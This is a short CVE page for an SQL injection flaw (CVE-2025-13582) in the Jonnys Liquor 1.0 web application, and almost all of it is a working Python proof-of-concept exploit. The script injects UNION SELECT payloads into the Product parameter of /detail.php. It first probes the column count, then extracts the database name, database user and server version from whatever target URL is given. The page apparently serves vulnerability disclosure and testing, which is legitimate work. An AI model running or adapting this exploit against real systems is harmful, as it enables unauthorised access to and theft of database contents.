CVE-2025-13582: code-projects Jonnys Liquor 1.0 /detail.php SQL注入漏洞

import requests import sys # CVE-2025-13582 PoC - SQL Injection in Jonnys Liquor 1.0 /detail.php # Affected parameter: Product (GET) def exploit(target_url, payload): """ Exploit SQL injection vulnerability in /detail.php Args: target_url: Base URL of the vulnerable application payload: SQL injection payload Returns: Response content or error message """ # Construct the malicious URL params = {'Product': payload} try: response = requests.get(f'{target_url}/detail.php', params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: return f'Error: {str(e)}' def main(): if len(sys.argv) < 2: print('Usage: python cve-2025-13582.py <target_url>') print('Example: python cve-2025-13582.py http://localhost/JonnysLiquor') sys.exit(1) target = sys.argv[1].rstrip('/') # Basic test payload - causes SQL error revealing database info test_payload = "1' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -" print(f'[*] Testing CVE-2025-13582 on {target}') print(f'[*] Payload: {test_payload}') result = exploit(target, test_payload) print(f'[+] Response received (length: {len(result)} bytes)') # Database enumeration payload db_enum_payload = "1' UNION SELECT database(),user(),version(),4,5,6,7,8,9,10-- -" print(f'[*] Enumerating database info...') db_result = exploit(target, db_enum_payload) print(db_result[:500]) if __name__ == '__main__': main()